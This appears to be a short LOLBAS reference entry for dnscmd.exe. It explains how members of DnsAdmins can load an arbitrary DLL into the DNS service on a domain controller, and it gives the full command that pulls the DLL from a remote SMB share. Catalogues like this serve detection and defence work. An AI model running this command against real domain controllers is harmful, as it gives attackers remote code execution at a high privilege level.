A command-line interface for managing DNS servers
The LOLBAS can achieve abritrary code execution.
Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.Usecase:Remotly inject dll to dns server
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll